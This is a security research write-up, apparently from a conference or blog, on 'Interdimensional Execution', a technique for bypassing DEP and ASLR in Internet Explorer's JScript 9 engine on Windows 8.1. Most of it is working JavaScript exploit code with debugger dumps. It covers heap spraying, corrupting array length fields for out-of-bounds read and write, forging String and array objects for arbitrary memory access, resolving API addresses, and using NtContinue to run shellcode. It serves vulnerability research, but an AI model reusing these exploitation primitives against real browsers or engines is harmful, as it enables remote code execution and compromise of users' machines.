Interdimensional Execution

Yang Yu < twitter: @tombkeeper >

Although BSTR was abandoned in JScript 9 (aka “Chakra”) for storing String data, we can more conveniently and steadily bypass DEP-ASLR than JScript 5.8 with the help of new features of JScript 9.

JScript 9 manage memory by itself instead of using system heap functions. Even on Windows 8 and Windows 8.1, the memory block allocated is continuous, so we can precisely control the memory layout by spray.

Compared with JScript 5.8, JScript 9 uses more efficient storage mode in dealing with integer arrays. This mode also contains the data structures like “length field + data” of BSTR, moreover, the integer arrays can either be read or write, so we can implement out-of-bounds memory read and write by modifying the length field of integer arrays.

In particular, IE9, IE10, and IE11 are slightly different from each other. For instance:

```
var count = (0x80000-0x20)/4;
for(var i=0; i<count; i++)
{
    intArr[i] = 0x11111111;
}
```

For IE9 and IE10, the memory is:

```
0:013> dd 0d080000 l 4*3
0d080000  00000000 0007fff0 00000000 00000000
0d080010  00000000 0001fff8 0001fff8 00000000
0d080020  22222223 22222223 22222223 22222223
```

For IE9 and IE10, the numbers less than 0x40000000 are stored as n*2+1; but for IE11, the stored numbers are raw by default.

```
0:014> dd 0d060000 l 4*3
0d060000  00000000 0007fff0 00000000 00000000
0d060010  00000000 0001fff8 0001fff8 00000000
0d060020  11111111 11111111 11111111 11111111
```

In addition, IE9, IE10, and IE11 are some varying from dealing with the length field, which can be exploited anyway.

Now I will introduce "Interdimensional Execution" technique on the platform of Windows 8.1 + IE11.

Structural features of integer arrays of JScript 9

After created the integer arrays by executing the following code:

```
var count = (0x80000-0x20)/4;
for(var i=0; i<count; i++)
{
    intArr[i] = 0x11111111;
}
```

Generated the management structure of arrays in the memory is as follows:

```
0:004> dd 01c3f9c0 l 4*3
01c3f9c0  6eb74534 031f6940 00000000 00000005
01c3f9d0  0001fff8 0d0d0010 0d0d0010 00000000
01c3f9e0  00000001 01a00930 00000000 00000000
```

The “0001fff8” at offset 0x10 is the amount of array members; the behind “0d0d0010” is the address of integer arrays:

```
0:004> dd 0d0d0010-10 l 4*3
0d0d0000  00000000 0007fff0 00000000 00000000
0d0d0010  00000000 0001fff8 0001fff8 00000000
0d0d0020  11111111 11111111 11111111 11111111
```

The data structure of integer arrays at “0d0d0010” probably is:

```
struct intArr {
    DWORD unknown;
    DWORD arrlen;       // member count of the whole arrays
    DWORD thislen;      // member count in current memory block
    DWORD next;         // next block, be NULL if only use one block
    DWORD arr[thislen] // data
}
```

For IE11, the out-of-bounds read will be failed if only enlarged thislen, this is due to check the amount of array members of management structure while reading data. But in this situation, the out-of-bounds writing can be conducted, and the amount of array members will be correspondingly rewrote, then we can proceed with the out-of-bounds read operation.

For the previous example, if we overwrite “thislen” to 0x30000000:

```
0:004> dd 0d0d0010-10 l 4*3
0d0d0000  00000000 0007fff0 00000000 00000000
0d0d0010  00000000 0001fff8 30000000 00000000
0d0d0020  11111111 11111111 11111111 11111111
```

Then do a write operation to the index “0x00200200” in the script:

```
intArr[0x00200200] = 0x22222222;
```

After that, the amount and “arrlen” of array management structure is automatically changed to “0x00200201”:

```
0:004> dd 01c3f9c0 l 4*3
01c3f9c0  6eb74534 031f6940 00000000 00000001
01c3f9d0  00200201 0d0d0010 0d0d0010 00000000
01c3f9e0  00000001 01a00930 00000000 00000000
0:004> dd 0d0d0010-10 l 4*3
0d0d0000  00000000 0007fff0 00000000 00000000
0d0d0010  00000000 00200201 30000000 00000000
0d0d0020  11111111 11111111 11111111 11111111
```

By now we can carry on the out-of-bounds read.

Out-of-bounds read and write by rewriting the length field of integer arrays

Firstly, spray of integer arrays, set the count of arrays members to 0, and rewrite the address to be sprayed anticipated with the vulnerability exploit:

```
var blockCount = (0x80000-0x20)/4;
var firstChunk = new Array(blockCount);
for(i = 0; i < blockCount; i++)
{
    firstChunk[i] = new Array(blockSize);
    for(j = 0; j < blockSize; j++)
    {
        firstChunk[i][j] = 0;
    }
}
writeByVul( SPRAYEDADDR );
```

Secondly, traverse the arrays, find out the changed number, calculate the address of length field in header of integer arrays, and rewrite the length field via the vulnerability:

```
m = -1;
for (i = 0 ; i < blockCount ; i++)
{
    for (j = 0 ; j < blockSize ; j++)
    {
        if( firstChunk[i][j] != 0 )
        {
            m = i;
            break;
        }
    }
    if(m != -1) break;
}
if(m == -1)
{
    return false;
}
writeByVul( SPRAYEDADDR-j*4-8 + 1 );
```

At this point, the length of integer array firstChunk[m] was changed from “0x001fff8” to “0x0201fff8”, increased by 256 times. Then, let’s do an out-of-bounds writing with the blockSize less than 256 times:

```
firstChunk[m][blockSize*24] = 0x000C105E;
```

Now the accessible block size of firstChunk[m] was increased to (blockSize*24+1)*4, but the memory actually occupied is blockSize*4.

Release memory after `firstChunk[m]`:

```
for (i = m+1 ; i < blockCount ; i++)
{
    firstChunk[i] = [];
    delete firstChunk[i];
}
```

Now if do the spray once again, the generated data can be read by firstChunk[m].

Obtain a String with controllable pointer and length

Create a lot of new String objects:

```
secondChunk = new Array( 0x20 );
var str = "A";
for(i = 0; i < secondChunk.length; i++)
{
    secondChunk[i] = new Array( (0x80000-0x80)/0x20 );
    for(j = 0; j < secondChunk[i].length; j++)
    {
        secondChunk[i][j] = str.substr(0);
    }
}
```

In memory, these String objects seem like:

```
0:021> dd 14150000 l 4*4
14150000  6d275c40 03754ea0 00000001 036352c0
14150010  036352c0 00000000 00000000 00000000
14150020  6d275c40 03754ea0 00000001 036352c0
14150030  036352c0 00000000 00000000 00000000
```

The “00000001” is the length; “036352c0” is the pointer. Most of String will be in the memory behind the firstChunk[m] and can be read and wrote by firstChunk[m].

Based on data features, find a String structure by firstChunk[m] and change its length:

```
for(i = blockSize; i < blockSize*20; i++) {
    if( firstChunk[m][i+0] != 0 &&
        firstChunk[m][i+1] != 0 &&
        firstChunk[m][i+2] == 1 &&
        firstChunk[m][i+3] != 0 &&
        firstChunk[m][i+4] != 0 &&
        firstChunk[m][i+5] == 0 &&
        firstChunk[m][i+6] == 0 &&
        firstChunk[m][i+7] == 0    )
    {
        ss = i;
        break;
    }
}
if(ss != -1) {
    firstChunk[m][ss+2] = 0x3fff8000; // set length to 0x7fff0000/2
}
```

Find out the String that the rewrite length is no longer equal to 1, and release other String:

```
s = -1;
for(i = 0; i < secondChunk.length; i++)
{
    for(j = 0; j < secondChunk[i].length; j++)
    {
        if(secondChunk[i][j].length != 1)
        {
            n = i;
            s = j;
        }
        else
        {
            secondChunk[i][j] = null;
        }
    }
}
```

Now we can read any memory address by controlling the length and pointers of String with firstChunk[m].

Obtain an integer array with controllable pointer and length

Similar to the previous steps, create a lot of new integer arrays first:

```
for(i = 0; i < secondChunk.length; i++)
{
    for(j = 0; j < secondChunk[i].length; j++)
    {
        if( i != n || j != s )
        {
            secondChunk[i][j] = new Array(1);
            secondChunk[i][j][0] = 0x5AFE5AFE;
        }
    }
}
```

These integer arrays look like:

```
0:019> dd 141b0000
141b0000  6d514534 087b46a0 00000000 00000005
141b0010  00000001 141b0028 141b0028 00000000
141b0020  00000004 086f7770 00000000 00000001
141b0030  00000004 00000000 5afe5afe 80000002
141b0040  80000002 80000002 00000000 00000000
141b0050  6d514534 087b46a0 00000000 00000005
141b0060  00000001 141b0078 141b0078 00000000
141b0070  00000004 086f7770 00000000 00000001
```

The red “0000001” is the amount of array members; “141b0028” is the pointer of array; the yellow part is the array data; the data structure is the struct intArr mentioned before.

It’s very easy to find an integer array based on data features and change its length:

```
for(i = blockSize; i < blockSize*20; i++)
{
    if( firstChunk[m][i] == 0x5AFE5AFE )
    {
        aa = i - (0x38/4);
        break;
    }
}
firstChunk[m][aa+4] =  0x7fff0000/4;
```

Then find out the integer array with the rewrite length:

```
a = -1;
for(i = 0; i < secondChunk[n].length; i++)
{
    if( i != s  && secondChunk[n][i].length != 1 )
    {
        a = i;
        break;
    }
}
```

Now we got a String: secondChunk[n][s], an integer array: secondChunk[n][a]; both length and pointer can be changed to any value by firstChunk[m], that means we can read and write any memory address.

Javascript version GetProcAddress()

As long as we can read the PE structure, we also can write a Javascript version GetProcAddress() like in Shellcode. This is not a high-tech, it's just coding.

But we can not get module base address by reading PEB like in Shellcode. So we need an alternative approach.

Even under ASLR, module address is 0x10000 aligned, so we can find the base address of the module according any pointer address like this:

```
function GetBaseAddrByPoiAddr( PoiAddr )
{
    var BaseAddr = 0;
    BaseAddr = PoiAddr & 0xFFFF0000;
    while( readDword(BaseAddr)     != 0x00905A4D ||
           readDword(BaseAddr+0xC) != 0x0000FFFF    )
    {
        BaseAddr -= 0x10000;
    }
    return BaseAddr;
}
```

Then we can read the import table of the module, find out the base address of kernel32.dll or other modules.

Now, by walking through import tables, and Javascript version GetProcAddress(), we can get almost any API address.

Call any function with restricted parameter

The first member of almost all objects are a function pointer table, like this:

```
0:019> dd 14162050
14162050  681b4534 035f46a0 00000000 00000005
14162060  00000001 14162078 14162078 00000000
14162070  00000005 03547a70 00000000 00000001
14162080  00000004 00000000 5afe5afe 80000002
14162090  80000002 80000002 00000000 00000000
```

When the Javascript code do some operations to the object, The relevant functions in the pointer table will be invoked, and the object itself will be push to stack as the first parameter:

```
eax=681b4534 ebx=00000000 ecx=14162050 edx=14162050 esi=02da4b80 edi=00000073
eip=681bda81 esp=03ddab84 ebp=03ddabb0 iopl=0         nv up ei pl nz na pe nc
```

```
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b            efl=00000206
jscript9!Js::JavascriptOperators::GetProperty_Internal<0>+0x4c:
681bda81 ff5040 call  dword ptr [eax+40h]  //jscript9!Js::JavascriptArray::GetProperty
0:007> dd esp
03ddab84  14162050 00000073 03ddabdc 00000000
03ddab94  02da4b80 15449420 14162050 02da4b80
```

So we can call any function by rewriting the function pointer table pointer. And most of the data in first parameter also can be controlled.

Call any function with any parameter

NtContinue is a powerful system call. By controlling the first parameter, you can control the value of all registers, including the EIP and ESP:

```
NTSTATUS NTAPI NtContinue(
    IN PCONTEXT ThreadContext,
    IN BOOLEAN  RaiseAlert
);
```

Value of the second parameter does not affect the main function of NtContinue.

So if we put NtContinue in a fake object function pointer table, and overwrite the contents of the object data to appropriate ThreadContext structure, then we can actually perform any function with any parameters by controlling the EIP and ESP.

Because we use the object itself as a parameter of NtContinue, so the first member in ThreadContext, that is ContextFlags, is also used as the function pointer table of the object in the same time.

Execute Shellcode

Based on the foregoing steps, now we can get any API address, and control all registers by calling NtContinue.

So if we put VirtualProtect address in the ThreadContext.Eip, construct a stack frame with appropriate parameters and a return address to Shellcode, put the stack frame pointer in ThreadContext.Esp, when NtContinue is executed, VirtualProtect will reset the Shellcode memory attributes and return to excute.

We even can use the Javascript version GetProcAddress() to get API addresses for the Shellcode.